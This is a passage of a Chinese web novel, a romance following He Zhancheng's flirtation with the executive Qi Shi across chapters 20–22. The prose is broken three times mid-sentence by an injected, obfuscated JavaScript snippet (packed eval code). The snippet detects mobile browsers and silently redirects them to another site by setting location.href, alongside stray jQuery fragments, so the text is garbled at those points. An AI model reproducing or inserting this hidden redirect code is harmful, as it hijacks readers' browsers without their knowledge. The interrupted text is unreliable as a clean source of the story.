如果不喜欢他,戚时就不会一声不吭地替他买单,他今早临出发前,一时兴起,跑去那家他买过三次茶饮的店里问过,他想知道戚时每次接到电话后的反应,店长明确告诉他,买单的人没有表露出任何情绪,但每次会问他今天穿什么衣服和状态。 “什么‘什么状态’?” “就是问你今天看起来怎么样?声音听起来怎么样?开心吗?瘦了吗?感冒了吗?” 他当场愣在原地,缓了十多分钟才离开。 就为这一句话,他将行程推迟到下午才走,整个上午和中午,跑遍了所有他曾经买过东西的店,挨个问,虽然有些老板不记得了,但得到的所有回复,全是戚时在问他当日的穿搭和心情,偶尔还会像个变态一样问他身上什么味道。 他百分之百肯定,就算戚时不喜欢他,起码也不讨厌他。 许若林那件事就更明显了。 戚时显然是吃醋了啊。 如果真不喜欢他,这傻大个儿吃个鸟的醋? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409028|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以,哪怕戚时是一个铁直的男人,他也更相信自己敏锐的嗅觉和灵光的脑子。 他认为自己的判断是没有错的,所以他来了,他按照戚老二的审美精心地打扮,连香水都没喷,他认为自己只需略施小计,稍作勾引,戚时就会乖乖缴械投降,对他投怀送抱,但他没想到…… 没想到戚老二真的只是一个傻乎乎的老实人。 是他误会了。 正尴尬僵持着,门外有个女声喊茉莉:“茉莉姐,你让拿的东西,我和露娜帮你提上来了,给你放哪儿啊?” 茉莉扭头往外看了一眼,见是三大包时装手提纸袋,又转回视线看向桌子上的何湛程,眼神问询。 茉莉不知道那是什么东西。 何湛程知道,并且他猜,戚老二应该也知道。 他很识相地放乖神色,从桌子上出溜下来,小学生似的老实站在桌前,用一种认错服软的眼神瞄着戚老二。 戚老二冷着脸和他对视一眼。 “二哥……”他小声叽咕,“我刚才在玩儿cosplay来着……” 好在戚老二很有家长风范。 攥拳咳嗽一声,沉声问:“是那三百条准备用来羞辱我的内裤?” “不是羞辱你,是想换你手里那条的。”何湛程认真解释:“怕你太喜欢不给我,我其实还挺喜欢那条的。” 戚时:“……” 一屁股坐回椅子上,抬手揉了好半天眉心,终于发话: “那咱俩一人一半吧。” 何湛程扭头看茉莉,吩咐:“先都放你那儿,两袋留给你们戚总,剩一袋我稍后拿走。” 茉莉瞧着氛围缓和不少,应声关门退下。 何湛程随手把那朵玫瑰花扔戚时脚边的垃圾桶里,准备和人告辞:“二哥,你先忙吧,我——” 戚时望着他:“你要走了?” 何湛程不太能看懂他复杂的眼神,潇洒一笑:“是啊,不然怕再待下去,喝你喜酒的红包还得从你账户里扣。” 戚时盯着他:“我分手了。” 何湛程一挑眉:“啊?” 戚时继续盯着他:“我说我分手了。” 何湛程大脑又开始混乱了。 这啥意思? 让他留下的意思吗? 可他留下又能怎样?他留下……戚老二就会和他搞在一起吗? 按常理来说,这么想是没问题的,但他现在还能用正常人的思维去判断戚老二这个傻大个儿吗? 何湛程试探着伸脖子:“那……你想再找一个吗?” 戚时笑了起来:“我不明白你什么意思。” 何湛程皱眉。 这个该死的老东西,哪里傻了?功力这么深厚,这么高深莫测的,戚老二不明白他意思,难道他就明白戚老二的意思了吗? 何湛程决定采取更加迂回的问法:“那,你觉得你以后会结婚生子吗?” 特地将“生子”两个字咬得很重,他就不信戚老二不明白他意思。 这个问题戚时倒是很诚实地回答了:“不会。” 虽然还在很缓慢、很缓慢地接受自己喜欢男人这个事实,往后恋情都还是个未知数,但他肯定不会和女人搞在一起了。 何湛程似乎有点懂了,于是小心翼翼地重新抛出刚才那个问题: “二哥,你觉得……花好看,还是我好看?” 戚时十指交叉,搁在桌上,扬眉反问他:“有什么区别吗?” 何湛程再反问:“原来在你眼里,我和花没区别吗?” 戚时笑:“对啊,因为都是我不经常碰的东西,我怎么会懂?” 何湛程犹豫了一下,然后在戚时笑容可掬的注视下,缓缓脱下自己的外套,挽在臂间,朝对方走了过去。 他向椅子上的男人伸出手: “那你现在要碰吗?” 20. 第20章 掌心朝上,指尖离他胸膛只有半寸。 这是一个正式的邀请。 但并不足够勾引人。 因为伸过来的是一只干净的、手指修长的、指甲修剪整洁的男手。 掌心生着厚厚的茧,想必是干活磨出来的,小指底下有个小血泡,被人狠心撕破了皮肉,目前伤口还烂着,放做惯粗活或者常举铁的人手上不明显,但在少爷细皮嫩肉的手上,就叫人分外的心疼。 戚时老大夫上药似的,小心握住了这只手,从抽屉里拿出个创可贴,撕了包装,帮何湛程贴上了。 何湛程仰头翻了个大白眼,他快要无语死了。 等人放开他,他转头就将创可贴撕掉,发泄似的,大力摔进垃圾桶。 “我不贴这个!” 戚时一脸无所谓:“随你。” 他早先磨血泡来也不喜欢贴,运动久了茧子变成手的一部分,磨不出来泡就更用不着贴了。 个人喜欢么,他不强求。 何湛程冷着脸,将外套重新穿上,转身就走:“我还有事,你忙吧。” 虽然有人骂过他长得像男妓,但他目前还做不到那一步。 戚老二这混蛋到底是不是男人? 他都把自己送到跟前了,这人竟然能忍住不把他给扒了? 喂,他可是何湛程,万人迷何湛程好吧?! 心想,怪不得和要结婚的女人分手了,看来是那方面有问题。 “程儿,”身后人笑,“不高兴了?” 戚时的嗓音真的很好听。 刻意卖弄的低音炮,像吻在私密处一样的色|情。 何湛程停下脚步,皱着眉回头:“我就问你一句,你不会真以为我是喜欢干活才留在剧组当受气包吧?” 戚时惊讶:“不是你大哥给你安排体验生活的么?而且你现在不是跑回来了?” 何湛程怒极反笑,反手抄起一摞文件就砸人怀里,转身瞪他:“滚!” 戚时闷哼一声,抱着散落在怀里的文件夹,不懂自己为啥莫名其妙挨这一下子。 本来见兔崽子挺可爱,忍不住想逗逗,结果没想到对方是条暴龙。 花他钱使唤他秘书骂他打他还毫无愧疚心的那种暴龙。 戚时啧一声,将文件放一边,俯身从垃圾桶里把刚才何湛程丢进去的红玫瑰给人捡了出来,递到对方手上,说:“这下行了吧?” 何湛程心中一动,接过玫瑰:“行什么?” 戚时满脸无奈:“夸你和玫瑰一样好看,这下行了吧?” 下一秒,玫瑰又被重重摔回他脸上,殷红花瓣四散,伴随着何湛程忍无可忍的怒意: “戚老二,你那些女朋友都是你花钱买来的吧!” 戚时也怒了,猛地站起身,宽阔的肩膀像乌云般笼罩上去,胸膛和对方紧紧相贴。 他大手按住那人削薄的肩,凝眉盯着对方那双琥珀色深瞳的眼睛:“你闹够没有?” 何湛程毫不畏惧地瞪回去:“怎么,想打我?你有胆子动我一下试试?” 戚时另一手也抬起,缓缓伸进风衣,握住何湛程的腰,掌心发狠般揉捏着,一下恨不得将人骨头捏碎,一下又小心收敛着力道,显出几分怜爱疼惜。 一想到何湛程写给许若林的那几行赠语,他胸膛就蹿上来一股无名火。 那般亲密无间的称呼,文绉绉的字句,骄狂的笔迹却流动着那样细致绵绵的情意。 口口声声说是朋友,谁会给朋友写那种话? 他齿间发冷:“我告诉过你没有,我不是你消遣的对象,你拿我和别人一样,自己倒先玩儿不起了?” 何湛程本来在生气,冷不丁又被对方这暧昧至极的亲密动作搞得云里雾里的。 又不敢再发骚作死,只得尬笑着缩着脖子跟人服软:“二哥,贴太近了。” 戚时也笑,笑得狰狞,鼻尖压上去,和对方鼻梁若即若离地蹭着,温柔异常:“怎么,不喜欢和二哥贴这么近?” 何湛程老实巴巴地望着他:“疼。” 戚时立刻松了些力道,往后退了些距离,冷哼一声:“自己找死还知道疼?” 何湛程笑眯眯的:“不是,我怕你心疼。” 戚时:“……” 他真的要受不了这个兔崽子了! 僵持了会儿,俩人默在原地,一个挠头发,另一个低头抠着桌子,都不太自在。 这算什么? 完全出乎双方意料、乱七八糟的发展走向。 一个花枝招展来勾引,结果被狠狠凶了一顿; 一个本自认意志坚定,结果自己险些亲上去。 下一秒,心有灵犀似的,俩人又不约而同抬起头,对视一眼。 戚时清咳一声:“怎么回来的?” 何湛程不想出卖队友,说:“我骗刘导酒喝多了心律不齐,让他派司机送我来城里看看。” 戚时心中一紧,忙问:“你心律不齐?” 何湛程咬字清晰:“P-i-an,骗。” 戚时:“……好吧。” 何湛程拢着风衣,大步往门外走: “我叫茉莉帮我订张回家的机票,待会你给我付了,咱们有缘再会。” 戚时沉声喝止:“站住!” 何湛程叹了口气,无奈扭头:“又怎么了我的大小姐。” 大小姐一副公事公办的语气:“你大哥让你在我这儿待半年,你现在才待不到一个月,你这就想走?” 何湛程耸肩:“你觉得要是我足够听他的话,他还会把我赶到你这儿来吗?” 大小姐冷哼一声:“你现在又不用听他话,但你得听我的,你活儿还没干完,我让你走了么?” 何湛程“哟”一声,慢悠悠地绕桌子走过来,探头瞅他一眼,笑得很欠抽:“怎么,舍不得我呀?” 大小姐不卑不亢:“你得干活。” 何湛程哈哈哈笑了起来。 伸手将人拨到旁边,一撩袍,抬屁股坐到总裁真皮软坐转椅里,吊儿郎当的,一双红鞋叠起,翘在办公桌上,俨然一副他才是办公室主人的派头。 “妈的,”他冷笑,“一天天的蹬鼻子上脸,拿着鸡毛当令箭,我说,你还真把自己当根儿葱了?” 戚时默然不语。 看吧,他想,他就怕这个。 喜欢上一个得罪不起的人,就意味着沦为对方戏弄的对象,何湛程爱玩,也玩得起,别人呢? 啧,这反应不对啊。 何湛程瞧着楞杵在他面前的傻大个儿,寻思着按戚老二暴脾气,起码得给他一脚吧? 也不骂他? 一句都不骂? 戚老二可不是什么畏惧强权的软蛋吧? 落下一只脚,干净红帆布鞋蹭过丝滑的西裤面料,一路往上,轻碰了下对方的手背。 淡淡道:“说话。” 戚时忽地攥住他脚踝,望他:“腿挺长。” “没你长。”何湛程笑着抽回脚。 “你才二十,个子还会长。”戚时握着他脚不放手。 “知道了。”何湛程挣扎两下,示意对方松手。 戚时笑了一下。 然后温柔地低下头,三下五除二飞快动手把他鞋给脱了。 “艹!”何湛程吓了一跳,条件反射抬另一条腿踹过去,没料戚时动作更敏捷,稳稳接住他脚丫子,把他另一只鞋也给脱了。 何湛程恼羞成怒:“你干什么?!” “哟!”戚时一手死死攥着何湛程俩脚踝,另一手食指勾着两只鞋晃荡在半空,笑得一脸无赖:“原来我们家程儿穿的白袜子啊,我还以为你里面穿得也挺骚呢。” 何湛程的脸腾地一下就红了。 狗日的,明明被羞辱了,怎么还害臊上了? 戚时笑得肆意张狂,一甩胳膊,膂力惊人,指间勾的那双红鞋在办公室划过一道完美的抛物线,掉到了五米远外的玻璃门口地板上。 啪的一声! 很响亮。 何湛程就这么被人提溜着,长腿被站立的某禽兽拔得极高,整个人成倒挂金钩的姿势,脚丫子朝上,上身被迫出溜到椅子里。 外套脱离身躯,几乎淹没他脖子,他两手死死扒着椅子扶手,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409029|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳砰砰的,耳朵涨红。 幸亏他今天穿的是衬衫,衣服下摆被紧束在腰带里,但凡换个宽松点的衣服,这姿势肯定会褪到他胸口。 他才不乐意给戚老二白看。 “趁我没发火之前,松手。”何湛程冷声呵斥。 “好啊!” 说松手,就松手,戚时笑得开心,瞬时将手撒开,何湛程重心不稳,先是长腿坠落,而后上半身也摔到地上。 这姿势太狼狈,疼都顾不上,他一秒删除这段记忆,一个闪身,利落爬回去坐好。 何三少名如其人,坐姿如皇帝,口吻更如太上皇:“闹够没,还不快把鞋给我捡回来!” 戚时两手插兜,笑眼弯弯,打量宠物似的,饶有兴致地瞧着他。 接着,戚总裁便如太上皇他老祖宗,踩着皮鞋一迈,长腿跨过来,一屁股坐皇帝大腿上。 何湛程震惊了。 这傻大个儿居然敢坐他?!! “嗯,你想走就走,我还有事要忙,就不留你了。” 戚总裁磨蹭着屁股,在他柔软金贵的新屁垫上顾涌两下,调整好办公姿势,继续一脸认真噼里啪啦地敲键盘。 这是什么新型五指山?一道黑漆漆的铜墙铁壁就这么毫无道理地压了上来,完全阻挡他视线,臭不要脸的戚老二,万一突然放个屁把他崩死了怎么办? 何湛程怒了。 怒不过五秒,突然又意识到坐他大腿上的是只浑圆紧实的蜜桃臀,而且还很翘。 何湛程就又笑了。 “二哥,”他倾身过去,妖精似的,伏在怀里人右边肩膀上,“你比我想得要轻。” 戚时嘴角得意扬起,正要回句什么,冷不丁屁股蛋被哪个臭流氓给拧了一把,他身子一僵,接着,耳边传来兔崽子明媚开怀的俏皮声:“真软啊,二哥你平时都怎么练哒?” “呵呵呵呵……”戚时咬着牙笑了。 扎马步似的,虚站起身,不待人反应,集结全身力量,再次狠狠一屁股墩了下去。 “艹!”何湛程痛呼一声,粗嗓门都吼出来了。 他这次真的是大腿骨头都要裂了! “还软吗?”戚时回头露出迷之微笑:“我现在觉得,你倒挺硬的。” “戚老二你他妈有病吧!你突然来这一下会搞出人命来的知不知道!” “呵!这就又怪我了?难道不是你先坐上来的?” “那你就坐我身上?你要不要脸?你脑子是让海水倒灌腐蚀没了吧!” “你也好意思说?我脑子里如果装得是海水,你脑子装得就是黄河水!” “闪开啊!痛死了他妈的!” “哟,都疼成这样了还撒娇呢?” “你有病吧?谁他妈撒娇了?!!” “那你说‘痛死了’?” “艹,你去死吧!赶紧死!立刻死!” “……很疼吗?我看看。” “滚蛋,我现在看见你就烦!” “别闹!让我看看!” “你还看,还不都是你惹的!” “谁让你先摸老子?” “谁让你先坐我?!” “谁让你拿花先打我?” “谁让你笨得很猪一样?!” “谁让你浪得跟妖精一样?” “你少学我说话!” “明明是你先开始的!” …… …… 茉莉焦急地搓着手,在办公室门外犹豫徘徊着,一时不知道该不该冲进去劝架。 刚才那一声什么东西砸落地的脆响动静,吓得她立刻跑了过来,生怕那俩发疯不要命的小祖宗和大祖宗闹起来有生命危险,但…… 哎呀! 她脸上浮起一层薄薄的红。 她不确定屋里那俩人是在打架,还是在干别的。 “嘶……” “嗯啊……” “你、你轻点儿……” 断断续续的,猫一样的喘息声。 茉莉捂着红到爆炸的脸跑开了。 她确定了,是她老板把三少拿下了。 21. 第21章 西装革履的男人半跪在他腿侧,低着头,隔着一层加绒紧身裤的布料,力道均衡地帮他揉捏着大腿。 何湛程将手掌按在那人肩上,额头冒了一层细汗,轻轻喘息着。 “哼……嗯啊……” “嘶……啊……” “痛死了……” 戚时不耐烦地吼他:“别乱叫!” 何湛程瞪他一眼。 对方却一脸认真地做按摩小二。 何湛程仰头叹息一声,他被这傻叉气得头疼。 戚老二是聋子吗? 看不出来他在勾引他就算了,难不成听也听不出来? 戚时活二十七年,没听过叫|床? 苍天没眼,他何老三一世英名就要坏在这个不解风情的王八蛋身上了。 本来戚时也吓得不轻,何湛程当即就要脱裤子给人看看他大腿淤青了没,戚时猛地一声大吼,就说自己刚才悠着劲儿呢,这种程度绝对残废不了,不用脱裤子按摩几下好了,自称手劲儿非常之大,别说加绒裤子了,就算他穿棉裤,他也能给他按舒服了。 何湛程只想呵呵。 TMD,他想脱裤子难不成是为了让人给他按摩么? “诶,”何湛程闲得发慌,顺手揪着旁边人头发玩儿,问着,“你多高啊?” “怎么,”戚时笑问,“搁我这儿选妃呢?” “哪能呢?”何湛程笑:“我一般不选妃,都是人家自己扑上来找我的。” 就像去年,他不小心惹到的那个大老板的情妇,他也不知道自己被做小三了,嗯……准确来说,情妇本身就是一个三儿,年轻貌美大波浪的,谁能联想到她和一个已婚男在一起了? 他们只是在酒吧遇见了,她长得很漂亮,他路过,出于绅士礼节,送她一杯酒,她朝他走过来,告诉他,她很寂寞,正好,他也很无聊。 对于女人,他第二天早习惯性送她们一束花。 但这个女人,他没送。 她说她爱他。 他笑着说他也是。 然后他当着她面,在床前把她手机掰成了两半,抡胳膊将碎片摔在她身后的墙上。 他知道她录了像,拍了很多照片。 他可以欣赏自己的裸|体,但在别人的手机里不行。 她被他吓哭了,他发完脾气心情爽了很多,掏出手机问她想要多少,她试探着说五百万,他狂笑,从裤兜里摸出五十块甩她脸上,扬长而去。 后来她回去找大老板告状了,具体怎么说的他不清楚,无非就是他勾引她之类的,但事情彻底闹了起来,才知道大老板是某省长的表侄,牛气得不行,放了话,接下来绝对要找人摁死他。 老爷子被他气晕过去,说家里乌烟瘴气的,实在待不得,抱着几个弟兄的牌位搬去了养老院,他妈又发疯又哭又闹的,一个劲儿求他大哥赶紧找老同学帮帮忙,堂堂一个当家主母,在他大哥面前这样没尊严,每次他一看到她这样就烦得不行。 他也懒得解释。 他既不觉得自己对,也不觉得自己错。 茫茫人海,多少条错综复杂的线才能将两个人牵到一起? 遇上了,就结缘了;分开了,就缘尽了。 人生在世须尽欢,睁眼,闭眼,镜花水月而已。 “比如呢?”戚时状似不经意地问,“都有谁?” “嗯?”何湛程笑着和人对视一眼。 都有裴玉,嗯,就是你们擎荣影视经纪部门的那个很能给你赚钱的大明星; 还有许若林,嗯,就是你往人家礼物里放自个儿帅照还给人家打骚扰电话的那位高材生。 能说么? 不能。 男人的自尊心是很脆弱的。 “就你一个啊,”何湛程似笑非笑,“您老人家这不正给我捏腿呢么,总裁大人。” “去你的。”戚时没好气地笑,耳朵微红。 这人快被他调戏得没脾气了。 何湛程也满意。 他对戚时这样的人算是比较放心的:有身份、有地位,就有了痛处和忌惮。 张三李四王五赵六拍他床照讹钱这种事,他不止一次经历过,说白了,他现在不再乱来了,不是因为长教训了,他只是厌倦了。 对有身份地位的人,他可以玩儿制衡威胁那一套,对一无所有的人,他怎么整? 送局子里关七八天又不解气,二话不说就捅人一刀又太不绅士了。 现在是法治社会,可不能再像他家老头子当年那么横了。 何湛程打量着正认真伺候他的戚·贤夫良父·时。 他有一种预感,自己会喜欢这个人很久。 虽然他不知道“很久”是多久。 “喂,”他又去揪人家的头发,缠在手里胡乱卷着,“你到底多高啊?” “看不出来么?”戚时抬头笑,“比你高。” “唉,”他状似忧愁,“我没几年可长了,个子撵不上你的话……” “撵不上我,怎样?” “我就不和你玩儿了。” “我不喜欢比我高的人。”他说。 戚时满不在意:“再过几年,少爷您老人家还不知道在哪颗星球上浪呢,还能记得起我?” “你看你,”何湛程笑着手指轻推他一下,“老吃醋。” “我190,想矮也矮不了。”戚时自动忽略他的调戏,嘱咐着,“你平时多吃饭,一日三餐都要吃,水果也经——” 桌上手机响了起来。 戚时站起身去接。 何湛程眼巴巴盯着某人紧贴在臀部的西裤褶皱,没忍住伸脚丫子上去踩了两脚。 戚时刚接通电话,突然就被流氓踩屁股,回头警告性瞪人一眼,口型威胁一句“别闹”。 何湛程笑眯眯的,也用口型问“谁呀”。 戚时听到什么,顿了一顿,低声跟对方说“我没听清,你再说一遍”,接着打开手机免提,递到何湛程跟前: “您好,我们这边是XXX法餐厅,请问您在我们餐厅预约了晚六点的情侣包厢对吗?抱歉,现在已经超时半小时了,我想冒昧地问一下您还来吗?如果不来的话,您先前付的押金我们是不给退的哈。” “来啊,”何湛程想也不想,“但是情侣包厢不要了,你换成普通包厢也行,或者在大厅留个位置给我们。” “好的,打扰了,欢迎您稍后光临鄙店。” 电话挂断,何湛程动作灵活地盘起腿,下巴冲远处一抬,吩咐:“去,把鞋给我拿过来穿上,咱们去吃饭。” 戚时将手机扔桌上,抱臂居高临下地盯着椅子上骗他腿疼的兔崽子:“你还挺会安排。” 何湛程潇洒挥挥手:“小小诚意,不成敬意。” 戚时咬牙笑:“你花的是老子的钱。” 何湛程啧一声:“咱们都这么熟了,还分什么你的我的,你快去给我拿鞋,没听见人刚才催呢嘛!” 戚时冷哼一声:“你先给我解释解释,‘情侣包厢’什么意思?还有,你押金哪来的?” 他早怀疑何湛程是不是在京城也搞上了谁,不然景区吃饭那么贵,这小子绝无可能连续三四天都一分不花。 不知道哪个冤大头会替何老三这种人付账。 呵呵,真是傻得叫人心疼。 “‘情侣包厢’就是字面意思啊,”何湛程面不改色地说,“我就是单纯喜欢布置浪漫的场地,但显然二哥你是个没情调的俗人,所以我决定让给真正恩爱的情侣。押金找刘导司机付的,刘导这几天包我所有行程。” 原来是刘导。 “怎么找刘导付?”戚时敏锐地挑出那话的漏洞:“又不是要给谁准备惊喜,怎么不直接找我付?” “大钱花自己人的,小钱花外人的。”何湛程回得天衣无缝。 “老子什么时候成你‘自己人’了?” “从你脱我鞋还捏我脚的那一刻!” 何湛程臭着脸,脾气有点要上来了:“我说最后一遍,立刻把鞋给我拿过来!还有,我一整天都没吃饭,我饿了!” 戚时气焰一下子就灭了。 转身老老实实去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409030|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口给人拿鞋。 回来刚把鞋扔椅子下面,两只穿着白袜子的大脚丫子就伸了过来。 大白脚丫子吩咐:“给我穿上,再给你个摸我脚的机会,快点儿,错过这村就没这店了。” 戚时哭笑不得,半蹲下身,一边低头帮人系鞋带,一边问:“你对所有人都这样吗?” 何湛程挑眉:“哪样?” 戚时:“让别人给你穿鞋。” 何湛程:“对啊,我不仅让别人给我穿鞋,我还让别人给我口呢,对二哥算是比较客气的了。” 戚时手上一停,抬脸看他。 何湛程吊儿郎当地笑。 戚时低下头继续系鞋带:“说话注意点。” 何湛程满不在意道:“我把二哥当自己人才放肆的。” “我不喜欢听自己人说这些。” “没看出来,二哥还挺保守啊?” “所以,以后能不能不说了。” “嗯……你答应我一件事,我就不说了。” “什么事?” “我腿还痛呢,你背我下楼。” “呵,”戚时一把将穿好鞋的脚扔回去,站起身瞪他,“想得美!” 何湛程朝他张开双臂,仰脸笑:“那你背我到这间办公室门口吧!就我们两个人,没人看见,怎么样?” 戚时两手叉了下腰,别过脸看一眼门口,又低头看坐在椅子里的人。 兔崽子两只脚也翘起,眨眼望着他。 戚时不自在地轻咳一声,没什么威慑性地警告:“就一次啊,下不为例。” 何湛程笑了声,说:“谢谢二哥!” 戚时背转过身,屈下膝盖,弯腰蹲在对方身前。 何湛程身躯伏下去,双臂搂住戚时脖子,长腿勾在男人腰间,顺手拎上搭在椅背上的西装外套。 戚总裁身形高大匀称,黑衬衫丝滑的缎面完美勾勒宽肩窄腰,袖口捋至手肘,腕上戴着银光锃亮的劳力士,衬衫下摆扎进华伦天奴腰带,领口纽扣习惯性解开两颗,领带也不认真系,松松垮垮垂在肌肉饱满的胸前,回眸一笑,活像个痞子,又帅得人心跳疯狂加速。 痞子感慨:“程儿啊,你比我想象中要重。” 何湛程:“……” 这个煞风景的家伙! “我很好奇,”何湛程纳闷,“你这种情商是怎么能交到那么多高质量女朋友的?” 戚时大言不惭:“因为帅。” 何湛程探头采访:“那你们吵架怎么解决?” 戚时:“衣服、包、卡。” 何湛程轻啧一声:“你不是说靠脸么?” 戚时“嗐”一声:“我这么忙,前期靠脸,维系感情得靠钱啊,你不也是么?” 何湛程:“我才和你不一样。” 戚时:“怎么说?” 何湛程笑意迷离:“我更喜欢偷人心。” “切!”戚时不屑。 正好走到门口,将人放下来,接过来外套穿身上。 “行了,说话算数,我背你了,你以后嘴巴也给老子放干净点儿,你小子不是挺会整那些花里胡哨的句子么,搁我面前就这么粗俗,还真是区别对待啊。” 何湛程低头整理着衣服,随口问:“什么花里胡哨的句子?” 戚时对着玻璃门阴阳怪气:“就是枫叶一半红一半什么褪色的句子呗。” 何湛程“哦”了声,想起来了,满不在意地说:“那个啊,我随手写的,你要吗,我一天能写一千条。” “随手写的?” 戚时冷笑一声,根本不信:“谁随手写句话就写得跟诗一样?” 何湛程举小镜子拨弄着刘海:“我们文化人是这样的。” 戚时:“……” 何湛程瞥他一眼,问:“要么?” 戚时轻哼一声。 何湛程将小镜子揣兜里,头也不回地推门出去:“不要拉倒。” 戚时两步小跑着追上去,长臂一揽,搂住对方肩膀,笑:“要,当然要!你先给我来个百八十条的!” 22. 第22章 茉莉正趴文件堆埋头接电话,办公室忽地闹出点儿动静,她连忙抬头看去。 她家老板西装整齐,一条胳膊懒散地搭在何三少肩膀上,手掌虚按在对方肩头,若有若无地将人往自己怀里带;何三少比老板稍矮些,气场倒足,一脸淡淡笑意,目光总望向旁处,仪态随性又自在,反而令她老板的目光始终流连在他身上,半眼不肯偏移。 俩人有说有笑推门走出来,像是谈了很久恋爱的好哥们儿。 茉莉放下听筒,微笑起身问候。 “戚总,三少,这就要走了吗。” “把刚才那三大包手提袋拿给你们戚总,”何湛程显然看出她在想什么,也望着她笑,“我们顺道就捎车上去了,省得你回头再跑一趟。” “好的。”茉莉转身,蹲下身,去桌下的储物柜里拿袋子。 戚时正笑着,刚想问问茉莉咋突然脸红得跟西红柿似的,余光一瞥,眼尖地发现她桌角的玻璃水瓶里插着朵红玫瑰。 和何湛程送他的那支一样。 笑容便被这一抹瑰丽红色冲淡了,理智淹没上来,他移开视线,将搭在怀里人的手抽回来,缓缓插进了裤兜。 何湛程察觉异样,扭头看他。 戚时挑眉:“怎么了?” 何湛程说:“没什么,是我太敏感了。” 戚时惊讶:“你?开什么玩笑,你看起来可不像是会敏感的人。” “是么?”何湛程唇角一勾,“可你看起来像是。” 戚时别过脸,懒得理他。 “来,三——”茉莉提着袋子才叫到一半,突然想起三少刚在里面劳累过,便转头看戚时,奉上三大包手提袋:“戚总,这是您和三少的东西。” 戚时莫名有点来气,瞪她:“他都给你什么好处了,让你成天这么向着他?这么多东西,你都让我一个人拿是吧,你到底是谁的秘书啊?” 茉莉一时慌乱起来:“我……” “行了,”何湛程真看不下去,双手接过东西,“我拿,都我拿,行了吧?” 推着戚时往楼梯间走,不忘回头安慰茉莉:“你别理他,我们家子涵什么都好,就是脾气臭了点,放心吧,等他幼稚园毕业了我再给你送回来。” 茉莉被逗得一笑,轻轻点了下头:“嗯。” “呵呵。” 进了电梯,戚时抱臂一个劲儿冷笑:“呵呵,呵呵,呵呵,呵呵,呵呵,呵——” 何湛程直接抡胳膊将仨袋子全摔他怀里:“中风了?没中风就给本少爷好好提着,真服了你,连自己秘书的醋都吃,你不是个直男么?” 这话足够扎心,戚时瞬间就“呵呵”不出了。 沉脸接过袋子,周身开始释放出拒人千里之外的冷意。 嘴上也不饶人:“你少在老子面前自恋,不管老子喜欢男还是女,人类灭绝了我也不可能看上你,茉莉不懂规矩,我做上司训斥几句下属,关你这个外人屁事?” 何湛程翻了个白眼,趁人手占着,忽地倾身过去,两手在人裤兜一通乱摸,把戚时手机拿了出来。 “密码。” 戚时瞪他:“你找死啊?” 何湛程不耐烦道:“我们都和好了,你不给我解除拉黑,我以后怎么给你打电话?” “199816。” “哦,生日快乐。”何湛程低头解锁,随口问:“今年想要什么礼物,我补给你。” 戚时脸上红一阵青一阵的,嘲讽道:“你有钱么,还不都是花老子的钱?” 何湛程抬头,一脸认真:“钱是钱,礼物是礼物,我花你钱送你礼物,难道就不是我的心意了吗?” 戚时气笑了,语气依旧冷冰冰:“不用,我不喜欢过生日。” 何湛程好脾气地拍拍他肩膀,说:“那,你从我那儿拿的两双球鞋就正式送给你了,这是他家品牌送我的20岁生日礼物,按照我的鞋码定制的,不过我看咱俩脚差不多大,你穿应该也差不多。” 戚时倔强地别过脸:“老子拿了本来就是老子的,还用得着你送?” 何湛程把自己手机号和微信从黑名单全都放出来,自己把自己设了置顶,笑眯眯问他:“喂,你给我备注的什么?” 戚时挑眉:“小傻子啊。” 何湛程笑得眼睛眯成一条缝:“你是不是觉得我很可爱呀?” 戚时纳闷:“你有病吧?” 何湛程突然凑过去,撅嘴在对方脸上轻轻地吻了一下,笑:“二哥,我也觉得你很可爱。” 戚时僵在原地。 缓了十多秒,慢慢转过头,眼珠子瞪得老大,不敢置信地拔高嗓门:“你他妈敢亲老子?” 电梯门开,何湛程把手机揣自己裤兜,伸手将袋子重新接了过去,一脸坦然地迈向车库。 “走吧二哥,让我坐坐你的车。” 戚时怒气冲冲在他身后喊:“我说过没有,我不是你消遣的对象!” 何湛程耸耸肩:“玩玩嘛,二哥你是久经风月的人物,不会连这种程度都玩儿不起吧?” 戚时成功被激将到了,咬着牙笑得温柔:“怎么会,我只是单纯嫌弃你罢了。” “没关系,我不嫌弃你。”何湛程回头冲他一笑:“不过,除非我腻了,你以后不准再找别人玩儿了,知道么?” 戚时哈哈哈笑起来,几步追上前,和人并肩走着,凑在对方极近,笑意狰狞地冲人挑衅:“我就找别人玩儿,你把我怎样?你把我怎样?你、能、把、我、怎、么、样?你管天管地,你还管得着老子和谁上床睡觉?” 何湛程微笑,站定在原地,抬腿,冲人屁股上踹一脚: “快去开车啦!” 